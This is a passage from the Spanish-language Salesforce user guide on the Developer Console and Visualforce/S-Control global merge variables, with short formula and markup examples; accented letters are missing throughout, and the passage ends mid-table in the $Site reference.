Para buscar archivos que no estn abiertos en la vista actual, haga clic en Archivo > Buscar en archivos o pulse CTRL+MAYS+H.

Uso de cumplimentacin de cdigo


El editor de cdigo fuente proporciona sugerencias de cumplimentacin automtica mientras escribe cdigo.
En las pginas y componentes de Visualforce, la cumplimentacin automtica aparece al escribir.
En las clases y desencadenadores de Apex, haga clic en CTRL+Espacio para ver una lista de sugerencias de cumplimentacin. Las
cumplimentaciones se proporciona para objetos y mtodos del sistema de Apex, objetos y mtodos definidos por el usuario y sObjects
y campos. Para activar la cumplimentacin automtica de Apex cuando escriba un punto, haga clic en Ayuda > Preferencias y defina
Activar Autocompletar de Apex como true.

Siga escribiendo para filtrar las sugerencias, pulse INTRO para seleccionar la sugerencia superior o utilice las teclas de flecha o el ratn
para seleccionar una cumplimentacin diferente.
Las cumplimentaciones se recogen del objeto en el que est trabajando actualmente. Si no ve la cumplimentacin que espera, guarde
el objeto abierto y actualice. El tipo del objeto est determinado por la tabla de smbolos del editor actual. Si ningn smbolo coincide,
las tablas de smbolos en cach (la ltima que se guard con xito) tambin se comprueban. Si no hay ningn objeto actual, la ventana
de cumplimentacin automtica muestra todas las clases del sistema y de usuario, as como elementos sObject.

Validacin de cambios en el cdigo fuente: ficha Problemas


Los cambios que realice en el editor de cdigo fuente se compilan y validan en segundo plano. Mientras edita el cdigo, un indicador
de error aparece en las lneas con errores y la fichaProblemas del panel inferior muestra los detalles de los errores de compilacin. Para
contraer la ficha Problemas, utilice el botn

en la esquina del panel.

Cuando las vistas de origen son validadas, todas las fuentes modificadas se validan a la vez en lugar de individualmente. Los cambios
que podran no ser coherentes con el cdigo del servidor, pero que s lo son cuando se validan como grupo (como aadir un mtodo
en un archivo y llamar a ese mtodo en otro), no aparecern como errores.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 17

Cambio de la versin de API


Utilice la lista versin de API en la parte superior del Editor de cdigo fuente para cambiar la versin de la entidad actual. La lista incluye
la cinco versiones ms recientes de API adems de la versin actual de la entidad.

Almacenamiento de cambios
Cuando realiza cambios en el editor de cdigo fuente, el nombre de la ficha incluye un * para indicar que no se han guardado los
cambios. Los desencadenadores y las clases de Apex se guardan con la ltima versin de API del desencadenador y clase.
Para guardar un conjunto de cambios con dependencias, haga clic en Archivo > Guardar todo o CTRL+S+Mays. Todas las fichas
modificadas se guardan juntas en una consulta.
Cuando guarda vistas de origen modificadas, stas se validan con todos los archivos de origen guardados. Si los archivos de origen tienen
cambios relacionados, no ser posible guardarlos de forma individual. Si hay errores de complicacin, no podr guardarlos. Revise el
panel Problemas, corrija cualquier error y vuelva a hacer clic en Guardar.
Nota: No puede modificar y guardar las clases de Apex en una organizacin de produccin.

Mantenerse sincronizado con el cdigo en la Nube


La Consola de desarrollador realiza un seguimiento de los cambios hechos en la fuente por otros usuarios mientras tiene un archivo
abierto. Si no ha realizado ningn cambio, la vista se actualizar automticamente. Si ha hecho modificaciones, no podr guardarlas en
el servidor. Recibir un aviso informndole de que otro usuario ha realizado cambios, con la opcin para actualizar la vista de origen a
la ltima versin.
PRECAUCIN: Si elige actualizar a la ltima versin de un archivo, se sobrescriben sus cambios. Copie su versin de la vista de
origen para conservarla y, a continuacin, actualice a la ltima versin e integre sus modificaciones.
CONSULTE TAMBIN
Descripcin general de la interfaz de usuario de la Consola de desarrollador
Comprobacin de la cobertura del cdigo
Configuracin de puntos de control en el cdigo Apex
Men Archivo

Inspector de objetos
El Inspector de objetos proporciona una referencia de slo lectura para los campos de un objeto estndar o personalizado y sus tipos
de datos. Para abrir el Inspector de objetos, haga clic en Archivo > Abrir y seleccione el objeto que desea ver. Para buscar objetos que
cumplan un criterio especfico, utilice el Editor Consulta.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 18

Nota: No puede modificar objetos personalizados en la consola de desarrollador. Para crear, editar o eliminar objetos personalizados,
en Configuracin, haga clic en Crear > Objetos.
CONSULTE TAMBIN
Uso de la Consola de desarrollador

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 19

Concepto de variables globales


Componentes como S-Control, botones frmulas, pginas y vnculos personalizados de Visualforce
le permiten utilizar campos de combinacin especiales para hacer referencia a los datos de su
organizacin.
Nota: Solo los campos de combinacin de usuario, organizacin y API son compatibles con
las fichas Web.
Utilice las siguientes variables globales cuando seleccione un tipo de campo de combinacin para
agregar a su componente personalizado:

$Action
Descripcin:

Uso:

Tipo de campo de combinacin global para


utilizar al hacer referencia a las acciones estndar
de Salesforce, como visualizar la pgina de inicio
de la ficha Cuentas, crear cuentas nuevas,
modificar cuentas y eliminar cuentas. Utilice
campos de combinacin de acciones en las
funciones LINKTO y URLFOR para hacer
referencia a la accin seleccionada.
1. Seleccionar el tipo de campo: $Action.
2. Inserte un campo de combinacin en el
formato $Action.objecto.accin,
como por ejemplo
$Action.Account.New.

Ejemplo de S-Control:

El S-Control siguiente hace referencia a la accin


estndar de crear cuentas nuevas en el campo
de combinacin $Action.Account.New.
<html> <body> {!LINKTO("Create
a New Account",
$Action.Account.New,
$ObjectType.Account)} </body>
</html>

Ejemplo de Visualforce:

Sugerencias:

<apex:outputLink
value="{!URLFOR($Action.Account.New)}">Create
New Account</apex:outputLink>

Esta variable global slo est disponible con


botones personalizados, vnculos, S-Control y
pginas de Visualforce.

EDICIONES
Visualforce, S-Control y
frmulas disponibles en:
Contact Manager Edition,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Los botones y vnculos
personalizados estn
disponibles en: todas las
ediciones
El tipo de campo de
combinacin global
$Profile est disponible
en: Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, modificar y
eliminar Custom S-Control,
frmulas o pginas de
Visualforce:
Personalizar aplicacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 20

Todos los objetos admiten acciones bsicas, como nuevo, duplicar, ver, modificar, enumerar y eliminar. La variable global $Action
tambin hace referencia a acciones disponibles en numerosos objetos estndar. Los valores disponibles en su organizacin pueden
diferir en funcin de las funciones que active.

$Api
Descripcin:

tipo de campo de combinacin global para utilizar al hacer


referencia a la URL de la API.

Uso:

1. Seleccionar el tipo de campo: $Api.


2. Seleccione un campo de combinacin, como:
$Api.Enterprise_Server_URL__xxx: El
extremo de Enterprise WSDL SOAP donde xxx representa
la versin de API. Por ejemplo,
$Api.Enterprise_Server_URL_140 es el valor
del campo de combinacin de la versin 14.0 de API.
$Api.Partner_Server_URL__xxx: El extremo
de Partner WSDL SOAP donde xxx representa la versin
de la API.
$Api.Session_ID: El Id. de la sesin.

Ejemplo de S-Control:

El campo de frmula personalizada siguiente activa un servicio


para sustituir el cdigo SIC. Sustituya miservidor por el
nombre de su servidor.
HYPERLINK("https://www.myserver.com/mypage.jsp"
&
"?Username="
& $User.Username &
"&crmSessionId="
& GETSESSIONID() &
"&crmServerUrl="
&
$Api.Partner_Server_URL_90 &
"&crmObjectId="
& Id &
"&crmFieldUpdate=sicCode",
"Update SIC Code")

Ejemplo de Visualforce:

Uso de diferenciacin de punto para obtener el Id. de sesin.


{!$Api.Session_ID}

Sugerencias:

Esta variable global slo est disponible con campo de frmula,


S-Control, botones personalizados, vnculos y pginas de
Visualforce.

$Component
Descripcin:

Tipo de campo de combinacin global para utilizar al hacer


referencia a un componente de Visualforce.

Mejora de Salesforce mediante cdigo

Uso:

Gua del usuario | Apex y Visualforce | 21

Cada componente de una pgina de Visualforce tiene su propio


atributo Id. Cuando la pgina permanece activa, este atributo se
utiliza para generar el Id. de modelo de objetos de documento
(DOM). Utilice $Component.Ruta.a.Id en JavaScript para
hacer referencia a un componente especfico de una pgina, donde
Ruta.a.Id es un especificador de jerarqua de componentes
para el componente al que se hace referencia.

Ejemplo de Visualforce:

function beforeTextSave() {
document.getElementById('{!$Component.msgpost}').value
= myEditor.getEditorHTML();
}

Sugerencias:

Esta variable global slo est disponible con pginas de Visualforce.

$ComponentLabel
Descripcin:

Tipo de campo de combinacin global que se utiliza al hacer referencia a la etiqueta de


un componente inputField en una pgina de Visualforce asociada con un mensaje.

Uso:

Devuelve la etiqueta de un componente inputField asociado con un mensaje.

Ejemplo de Visualforce:

Sugerencias:

<apex:datalist var="mess" value="{!messages}">


<apex:outputText value="{!mess.componentLabel}:"
style="color:red"/>
<apex:outputText value="{!mess.detail}" style="color:black"
/>
</apex:datalist>

Esta variable global slo est disponible con pginas de Visualforce.

$CurrentPage
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer referencia a la pgina de Visualforce o
solicitud de pgina actual.

Uso:

Utilice este campo global en una pgina de Visualforce para hacer referencia al nombre de la pgina actual
($CurrentPage.Name) o la URL de la pgina actual ($CurrentPage.URL). Utilice
$CurrentPage.parameters.nombreParmetro para hacer referencia a parmetros y valores
de solicitud de pgina, donde nombreParmetro es el parmetro de solicitud al que se hace referencia.

Ejemplo de
Visualforce:

<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 22

<apex:detail subject="{!account}" relatedList="false"/>


<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>

Sugerencias:

Esta variable global slo est disponible con pginas de Visualforce.

$FieldSet
Descripcin:

Permite acceder a un conjunto de campos definido en su organizacin.

Uso:

Utilice esto en sus pginas de Visualforce para iterar dinmicamente en los campos de un conjunto de
campos. A esta variable global debe agregarle un prefijo con una referencia al objeto estndar o personalizado
que tiene el conjunto de campos.

Ejemplo de
Visualforce:

Sugerencias:

<apex:page standardController="Account">
<apex:repeat value="{!$Account.FieldSet.mySpecialFields}"
var="field">
<apex:outputText value="{!field}" />
</apex:repeat>
</apex:page>

Esta variable global slo est disponible con pginas de Visualforce.

$Label
Descripcin:

Tipo de campo de combinacin global para utilizar al hacer


referencia a una etiqueta personalizada de una pgina de
Visualforce.

Uso:

Utilice esta expresin en una pgina de Visualforce para acceder


a una etiqueta personalizada. Si la aplicacin del servidor crea la
pgina para que aparezca en el navegador del usuario final, el valor
devuelto depende de la configuracin del idioma del usuario
contextual. El valor devuelto es uno de los siguientes, en orden de
preferencia:
1. el texto de la traduccin local
2. el texto de la traduccin del paquete
3. el texto de la etiqueta principal

Ejemplo de Visualforce:

<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>

Mejora de Salesforce mediante cdigo

Sugerencias:

Gua del usuario | Apex y Visualforce | 23

Esta variable global slo est disponible con pginas de Visualforce.

$Label.Site
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer referencia a una etiqueta de Sites estndar
de una pgina de Visualforce. Al igual que todas las etiquetas estndar, el texto aparecer en funcin del
idioma y configuracin regional del usuario.

Uso:

Utilice esta expresin en una pgina de Visualforce para acceder a una etiqueta de Sites estndar. Si la
aplicacin del servidor crea la pgina para que aparezca en el navegador del usuario final, el valor devuelto
depende del idioma y de la configuracin regional del usuario.
Salesforce proporciona las siguientes etiquetas:
Etiqueta

Mensaje

authorization_required

Autorizacin necesaria

bandwidth_limit_exceeded

Se ha superado el lmite de ancho de banda

change_password

Cambiar contrasea

change_your_password

Cambie la contrasea

click_forget_password

Si ha olvidado su contrasea, haga clic en Contrasea olvidada


para restablecerla.

community_nickname

Apodo

confirm_password

Confirmar contrasea

down_for_maintenance

<i>{0}</i> est apagado para mantenimiento

email

Correo electrnico

email_us

envenos un correo electrnico

enter_password

Olvid la contrasea? Introduzca su nombre de usuario abajo.

error

Error: {0}

error2

Error

file_not_found

No se ha encontrado el archivo

forgot_password

Contrasea olvidada

forgot_password_confirmation

Confirmacin de contrasea olvidada

forgot_your_password_q

Olvid la contrasea?

get_in_touch

<a href="{0}">{1}</a> si necesita ponerse en contacto.

go_to_login_page

Ir a pgina de inicio de sesin

img_path

/img/sites

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 24

Etiqueta

Mensaje

in_maintenance

Apagado para mantenimiento

limit_exceeded

Se ha superado el lmite.

login

Inicio de sesin

login_button

Inicio de sesin

login_or_register_first

Antes de poder acceder a esta pgina, debe iniciar la sesin


o registrarse.

logout

Finalizar sesin

new_password

Nueva contrasea

new_user_q

Es un usuario nuevo?

old_password

Contrasea anterior

page_not_found

No se ha encontrado la pgina

page_not_found_detail

No se ha encontrado la pgina: {0}

password

Contrasea

passwords_dont_match

Las contraseas no coinciden.

powered_by

Con tecnologa de

register

Registro

registration_confirmation

Confirmacin de registro

site_login

Inicio de sesin del sitio Web

site_under_construction

Sitio Web en construccin

sorry_for_inconvenience

Disculpe las molestias.

sorry_for_inconvenience_back_shortly

Disculpe las molestias. En breve, estaremos activos de nuevo.

stay_tuned

Permanezca atento.

submit

Enviar

temp_password_sent

Se le ha enviado un correo electrnico con la contrasea


temporal.

thank_you_for_registering

Gracias por registrarse. Se le ha enviado un correo electrnico


con la contrasea temporal.

under_construction

<i>{0}</i> est en construccin

user_registration

Registro de usuario nuevo

username

Nombre de usuario

verify_new_password

Repetir contrasea nueva

Mejora de Salesforce mediante cdigo

Ejemplo de
Visualforce:

Sugerencias:

Gua del usuario | Apex y Visualforce | 25

<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>

Esta variable global slo est disponible con pginas de Visualforce.

$ObjectType
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer


referencia a objetos estndar o personalizados (como Cuentas,
Casos u Oportunidades) y los valores de sus campos. Utilice campos
de combinacin de tipo de objeto en funciones LINKTO,
GETRECORDIDS y URLFOR para hacer referencia a un tipo
especfico de datos o la funcin VLOOKUP para hacer referencia
a un campo especfico en un objeto relacionado.

Uso:

1. Seleccionar el tipo de campo: $ObjectType.


2. Seleccionar un objeto para insertar en un campo de
combinacin que represente ese objeto, como
$ObjectType.Case.
Opcionalmente, puede seleccionar un campo de ese objete
mediante la sintaxis siguiente:
$ObjectType.Lmite_funcin__c.Lmite.Campos__c.

Ejemplo de botn personalizado:

El siguiente botn de lista personalizado hace referencia al objeto


estndar de casos en el campo de combinacin
$ObjectType.Case.
{!REQUIRESCRIPT
("/soap/ajax/13.0/connection.js")} var
records =
{!GETRECORDIDS($ObjectType.Sample)}; var
newRecords = []; if (records[0] == null) {
alert("Please select at least one row") }
else {
for (var n=0;
n<records.length; n++) { var c = new
sforce.SObject("Case"); c.id = records[n];
c.Status = "New";
newRecords.push(c); }
result =
sforce.connection.update(newRecords);
window.location.reload(); }

Mejora de Salesforce mediante cdigo

Ejemplo de regla de validacin:

Gua del usuario | Apex y Visualforce | 26

Este ejemplo comprueba si un cdigo postal de facturacin es


vlido, verificando sus cinco primeros caracteres en un objeto
personalizado denominado Cdigo_postal__c que contiene un
registro para cada cdigo postal vlido en los Estados Unidos. Si
el cdigo postal no se encuentra en el objeto Cdigo_postal__c
o el Estado o provincia de facturacin no coincide con la direccin
correspondiente de Cdigo_estado__c en el objeto
Cdigo_postal__c, se muestra un error.
AND( LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA", BillingCountry =
"US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5)) <>
BillingState )

Ejemplo de Visualforce:

El siguiente ejemplo recupera la etiqueta del campo Nombre de


la cuenta:
{!$ObjectType.Account.Fields.Name.Label}

Sugerencias:

Esta variable global est disponible en las pginas de Visualforce,


botones y vnculos personalizados, S-Control y reglas de validacin.

$Organization
Descripcin:

Tipo de campo de combinacin global para utilizar al hacer


referencia a informacin sobre el perfil de su compaa. Utilice los
campos de combinacin de la organizacin para hacer referencia
a la direccin, fax, Id. u otros detalles acerca de su organizacin.

Uso:

1. Seleccionar el tipo de campo: $Organization.


2. Seleccione un campo de combinacin, como
$Organization.Fax.

Ejemplo de regla de validacin:

Utilice los campos de combinacin de organizacin para comparar


los atributos de su organizacin con los de las cuentas. Por ejemplo,
es posible que desee determinar si su organizacin tiene el mismo
pas que sus cuentas. La frmula de validacin siguiente hace
referencia a los campos de combinacin del pas de su organizacin
y requiere un cdigo de pas para cualquier cuenta extranjera.
AND($Organization.Country <> BillingCountry,
ISBLANK(Country_Code__c))

Mejora de Salesforce mediante cdigo

Ejemplo de Visualforce:

Gua del usuario | Apex y Visualforce | 27

Uso de diferenciacin de punto para acceder a la informacin de


su organizacin. Por ejemplo:
{!$Organization.Street}
{!$Organization.State}

Sugerencias:

Los campos de combinacin de la organizacin obtienen sus


valores a partir de cualquier valor almacenado actualmente como
parte de la informacin de su compaa en Salesforce.
Tenga en cuenta que {!$Organization.UiSkin} es un
valor de lista de seleccin y, por lo tanto, debe utilizarse con
funciones de lista de seleccin, como ISPICKVAL() en campos
personalizados, reglas de validacin y expresiones de Visualforce.

$Page
Descripcin:

Tipo de campo de combinacin global para utilizar al hacer


referencia a una pgina de Visualforce.

Uso:

Utilice esta expresin en una pgina de Visualforce para establecer


un vnculo a otra pgina de Visualforce.

Ejemplo de Visualforce:

Sugerencias:

<apex:page>
<h1>Linked</h1>
<apex:outputLink
value="{!$Page.otherPage}">
This is a link to another page.
</apex:outputLink>
</apex:page>

Esta variable global slo est disponible con pginas de Visualforce.

$Permiso
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer


referencia a informacin sobre el acceso de permisos
personalizados del usuario actual. Utilice los campos de
combinacin de permisos para hacer referencia a informaciones
acerca del acceso actual del usuario en cualquiera de los permisos
personalizados de su organizacin.

Uso:

1. Seleccionar el tipo de campo: $Permiso.


2. Seleccione un campo de combinacin como
$Permission.customPermissionName.

Mejora de Salesforce mediante cdigo

Ejemplo de regla de validacin:

Gua del usuario | Apex y Visualforce | 28

La siguiente regla de validacin hace referencia al permiso


personalizado changeAustinAccounts para el usuario actual. Esta
regla garantiza que solo los usuarios con changeAustinAccounts
puedan actualizar cuentas con una ciudad de facturacin Austin.
BillingCity = 'Austin' &&
$Permission.changeAustinAccounts

Ejemplo de Visualforce:

Para que pageblock solo aparezca para usuarios conel permiso


personalizado seeExecutiveData, utilice lo siguiente.
<apex:pageBlock
rendered="{!$Permission.canSeeExecutiveData}">
<!-- Executive Data Here -->
</apex:pageBlock>

Sugerencias:

$Permiso solo aparece si se han creado los permisos personalizados


en su organizacin.

$Profile
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer


referencia a informacin sobre el perfil del usuario actual. Utilice
campos de combinacin de perfil para hacer referencia a la
informacin acerca del perfil de usuario, como tipo de licencia o
nombre.

Uso:

1. Seleccionar el tipo de campo: $Profile.


2. Seleccione un campo de combinacin como
$Profile.Name.

Ejemplo de regla de validacin:

La frmula de la regla de validacin siguiente hace referencia al


nombre del perfil del usuario actual para asegurar que el nico
propietario del registro o los usuarios con este perfil pueden
modificar un campo personalizado denominado Objetivo
personal:
AND( ISCHANGED( Personal_Goal__c ), Owner
<> $User.Id, $Profile.Name <>
"Custom: System Admin" )

Ejemplo de Visualforce:

Para devolver el perfil del usuario actual, utilice:


{$Profile.Name}

Sugerencias:

Los campos de combinacin $Profile slo estn


disponibles en la ediciones que puedan crear perfiles
personalizados.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 29

Utilice nombres de perfiles para hacer referencia a perfiles


estndar en campos de combinacin $Profile. Si ha hecho
referencia previamente al valor interno de un perfil, utilice la
lista siguiente para determinar el nombre que tiene que utilizar
en su lugar:
Nombre de perfil
estndar

$Profile Value

Administrador del
sistema

PT1

Usuario estndar

PT2

Slo lectura

PT3

Gestor de soluciones

PT4

Usuario de marketing

PT5

Administrador del
contrato

PT6

Usuario de socio

PT7

Usuario de plataforma PT8


estndar
Usuario de aplicacin
de Platform One
estndar

PT9

Usuario del portal de


clientes

PT13

Gestor del portal de


clientes

PT14

Los valores de los campos de combinacin estarn en blanco


si los atributos del perfil estn en blanco. Por ejemplo, el perfil
Descripcin no es necesario y puede no contener ningn
valor.
Para utilizar estos campos de combinacin no es necesario
conceder a sus usuarios permisos o derechos de acceso a su
informacin de perfil.

$RecordType
Descripcin:

Un campo de combinacin global que se debe utilizar al hacer


referencia al tipo de registro del registro actual.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 30

Uso:

Agregar manualmente $RecordType a su S-Control.

Ejemplo de Visualforce:

Para devolver la Id. del tipo de registro actual, utilice:


{$RecordType.Id}

Sugerencias:

Utilice $RecordType.Id en lugar de


$RecordType.Name para hacer referencia a un tipo de
registro especfico. Aunque $RecordType.Name hace
que una frmula sea ms legible, debe actualizar la frmula si
cambia el nombre del tipo de registro, mientas que la Id. de
un tipo de registro nunca cambia. Sin embargo, si est
implementando frmulas en organizaciones (por ejemplo,
entre Sandbox y produccin), utilice $RecordType.Name
porque los Id. no son iguales en las organizaciones.
Evite utilizar $RecordType en frmulas, excepto en
frmulas de valor predeterminado. En su lugar, utilice el campo
de combinacin RecordType (por ejemplo,
Account.RecordType.Name) o el campo
RecordTypeId en el objeto.
No haga referencia a ningn campo con el campo de
combinacin $RecordType en frmulas de objeto cruzado.
La variable $RecordType resuelve el registro que contiene
la frmula, no el registro al que abarca la frmula. En su lugar,
utilice el campo de combinacin RecordType en el objeto.

$Request
Descripcin:

Campo de combinacin global que se debe utilizar para hacer


referencia a un parmetro de consulta por nombre que devuelve
un valor.

Uso:

Agregar manualmente $Request a su S-Control.

Ejemplo de S-Control:

El miniprograma siguiente, denominado Title_Snippet,


requiere dos parmetros de entrada: titleTheme y
titleText. Puede volver a utilizarlo en muchos S-Control para
ofrecer el ttulo de pgina y tema en su HTML.
<h2
class={!$Request.titleTheme}.title>
{!$Request.titleText}</h2>

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 31

El S-Control siguiente llama a este miniprograma utilizando la


funcin INCLUDE, enviando los parmetros para el ttulo y el
tema de la pgina HTML que crea.
<html> <head> </head> <body> {!
INCLUDE($SControl.Title_Snippet, [titleTheme
= "modern", titleText = "My Sample Title"])
} ... Insert your page specific content
here ... </body> </html>

Sugerencias:

No utilice $Request en pginas de Visualforce para hacer


referencia a parmetros de consulta. Utilice $CurrentPage en
su lugar.

$Resource
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer


referencia a un recurso esttico existente en funcin de su nombre
en una pgina de Visualforce. Tambin puede utilizar campos de
combinacin de recursos en funciones URLFOR para hacer
referencia a un archivo especfico en un archivo de recursos
estticos.

Uso:

Utilice $Resource para hacer referencia a un recurso esttico


existente. El formato es $Resource.nombredelrecurso,
como $Resource.TestImage.

Ejemplos de Visualforce:

El componente de Visualforce que aparece a continuacin hace


referencia a un archivo de imagen que se carg como recurso
esttico y cuyo nombre es TestImage:
<apex:image url="{!$Resource.TestImage}"
width="50" height="50"/>

Para hacer referencia a un archivo (como un archivo .zip o


.jar), utilice la funcin URLFOR. Especifique el nombre de
recurso esttico que proporcion al cargar el archivo con el primer
parmetro y la ruta al archivo que desee dentro del archivo con el
segundo. Por ejemplo:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}"
width="50" height="50"/>

Sugerencias:

Esta variable global slo est disponible con pginas de Visualforce.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 32

$SControl
Importante: Las pginas de Visualforce han sustituido a los S-Control. Las organizaciones que no hayan usado anteriormente
S-Control no podrn crearlos. Los S-Control existentes no se vern afectados y todava podrn modificarse.
Descripcin:

Tipo de campo de combinacin global que se debe utilizar para


hacer referencia a un Custom S-Control existente en funcin de
su nombre. Utilice los campos de combinacin de S-Control en las
funciones LINKTO, INCLUDE y URLFOR para hacer referencia
a uno de sus Custom S-Control.

Uso:

1. Seleccionar el tipo de campo: $SControl.


2. Seleccione un S-Control para insertar un campo de
combinacin que represente dicho S-Control, como
$Scontrol.Header_Snippet.

Ejemplo de S-Control:

El siguiente S-Control hace referencia al miniprograma del campo


de combinacin $Scontrol.Header_Snippet:
<html> <body> {!
INCLUDE($SControl.Header_Snippet, [title =
"My Title",
theme = "modern"])}
</body> </html>

Ejemplo de Visualforce:

El ejemplo siguiente muestra cmo vincular un S-Control llamado


HelloWorld en una pgina de Visualforce:
<apex:page>
<apex:outputLink
value="{!$SControl.HelloWorld}">Open the
HelloWorld s-control</apex:outputLink>
</apex:page>

Tenga en cuenta que si simplemente desea incrustar un S-Control


en una pgina, puede utilizar la etiqueta <apex:scontrol>
sin el campo de combinacin $SControl. Por ejemplo:
<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

Sugerencias:

La lista desplegable para Insertar campo de


combinacin enumera todos sus Custom S-Control
excepto los miniprogramas. Aunque los miniprogramas son
S-Control, se comportan de manera diferente. Por ejemplo, no
puede hacer referencia a un miniprograma directamente desde
una funcin URLFOR; los miniprogramas no estn disponibles
al crear un botn o vnculo personalizado que tiene Origen
del contenido de Custom S-Control; y no puede agregar
miniprogramas a sus formatos de pgina. Para insertar un

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 33

miniprograma en su S-Control, utilice el botn desplegable


Insertar miniprograma.
Esta variable global slo est disponible con botones
personalizados, vnculos, S-Control y pginas de Visualforce.

$Setup
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer


referencia a una configuracin personalizada de tipo jerarqua.

Uso:

Utilice $Setup para acceder a configuraciones personalizadas


de jerarqua y sus valores de campos mediante la diferenciacin
de punto. Por ejemplo,
$Setup.App_Prefs__c.Show_Help_Content__c.
Las configuraciones personalizadas de jerarqua permiten valores
en cualquiera de los tres niveles siguientes:
1. Organizacin, el valor predeterminado para todos
2. Perfil, que sustituye al valor Organizacin
3. Usuario, que sustituye a los valores Organizacin y Perfil
Salesforce determina automticamente el valor correcto para este
campo de configuracin personalizada basndose en el contexto
actual del usuario que interviene.

Ejemplo de campo de frmula:

{!$Setup.CustomSettingName__c.CustomFieldName__c}

Los campos de frmula slo funcionan con configuraciones


personalizadas de jerarqua; no se pueden utilizar para
configuraciones personalizadas de lista.
Ejemplo de Visualforce:

El siguiente ejemplo muestra cmo mostrar condicionalmente un


mensaje de ayuda ampliado para un campo de entrada,
dependiendo de las preferencias del usuario:
<apex:page>
<apex:inputField
value="{!usr.Workstation_Height__c}"/>
<apex:outputPanel
id="helpWorkstationHeight"
rendered="{!$Setup.App_Prefs__c.Show_Help_Content__c}">
Enter the height for your
workstation in inches, measured from the
floor to top of the work surface.
</apex:outputPanel>
...
</apex:page>

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 34

Si el nivel de la organizacin del ajuste personalizado se establece


como verdadero, los usuarios vern el mensaje de ayuda
ampliado de manera predeterminada. Si un individuo prefiere no
ver los mensajes de ayuda, puede establecer su configuracin
personalizada como falso, para sustituir el valor de la
organizacin (o perfil).
Las configuraciones personalizadas de tipo lista no estn
disponibles en las pginas de Visualforce que utilicen esta variable
global. Puede acceder a las configuraciones personalizadas de lista
en Apex.
Sugerencias:

Esta variable global est disponible en pginas de Visualforce,


campos de frmula y reglas de validacin.

$Sitio
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer referencia a informacin sobre el sitio
actual de Force.com.

Uso:

Utilice diferenciacin de punto para acceder a informacin acerca del sitio actual de Force.com. Tenga en
cuenta que nicamente estn disponibles los siguientes campos de sitio:
Campo de combinacin

Descripcin

$Site.Name

Devuelve el nombre API del sitio actual.

$Site.Domain

Devuelve el nombre de dominio de Force.com de su organizacin.

$Site.CustomWebAddress

Devuelve la URL personalizada de la solicitud si no termina en


force.com o devuelve la URL personalizada principal del sitio.
Si no existe ninguna de las dos, entonces devuelve una cadena
vaca. Tenga en cuenta que la ruta de la URL siempre es la raz,
aunque la URL personalizada de la solicitud tenga un prefijo de
ruta. Si la solicitud actual no es una solicitud de sitio, entonces este
campo devuelve una cadena vaca. El valor de este campo siempre
termina con el carcter /. Se desaconseja el uso de
$Site.CustomWebAddress y recomendamos utilizar
$Site.BaseCustomUrl en su lugar.

$Site.OriginalUrl

Devuelve la URL original de esta pgina si es una pgina de error


designada para el sitio; de lo contrario, devuelve Nulo.

$Site.CurrentSiteUrl

Devuelve la URL de base del sitio actual que deberan utilizar las
referencias y los vnculos. Tenga en cuenta que este campo podra
devolver la URL de la pgina de referencia en lugar de la URL de
la solicitud actual. El valor de este campo incluye un prefijo de ruta
y siempre termina con el carcter /. Si la solicitud actual no es
una solicitud de sitio, entonces este campo devuelve una cadena

Mejora de Salesforce mediante cdigo

Campo de combinacin

Gua del usuario | Apex y Visualforce | 35

Descripcin
vaca. Se desaconseja el uso de $Site.CurrentSiteUrl. Utilice
$Site.BaseUrl en su lugar.

$Site.LoginEnabled

Devuelve verdadero si el sitio actual est asociado con un


portal de clientes de inicio de sesin activado; en caso contrario
devuelve falso.

$Site.RegistrationEnabled

Devuelve verdadero si el sitio actual est asociado con un


portal de clientes de auto registro activado; en caso contrario
devuelve falso.

$Site.IsPasswordExpired

Para usuarios autenticados, devuelve verdadero si la


contrasea de inicio de sesin del usuario actual ha caducado.
Para usuarios no autenticados, devuelve falso.

$Site.AdminEmailAddress

Devuelve el valor del campo Contacto del sitio del sitio


actual.

$Site.Prefix

Devuelve el prefijo de la ruta de la URL del sitio actual. Por ejemplo,


si la URL de su sitio es myco.force.com/partners,
/partners es el prefijo de la ruta. Devuelve Nulo si no se
define el prefijo. Si la solicitud actual no es una solicitud de sitio,
entonces este campo devuelve una cadena vaca.

$Site.Template

Devuelve el nombre de la plantilla asociado con el sitio actual;


devuelve la plantilla predefinida si no se ha designado ninguna
plantilla.

$Site.ErrorMessage

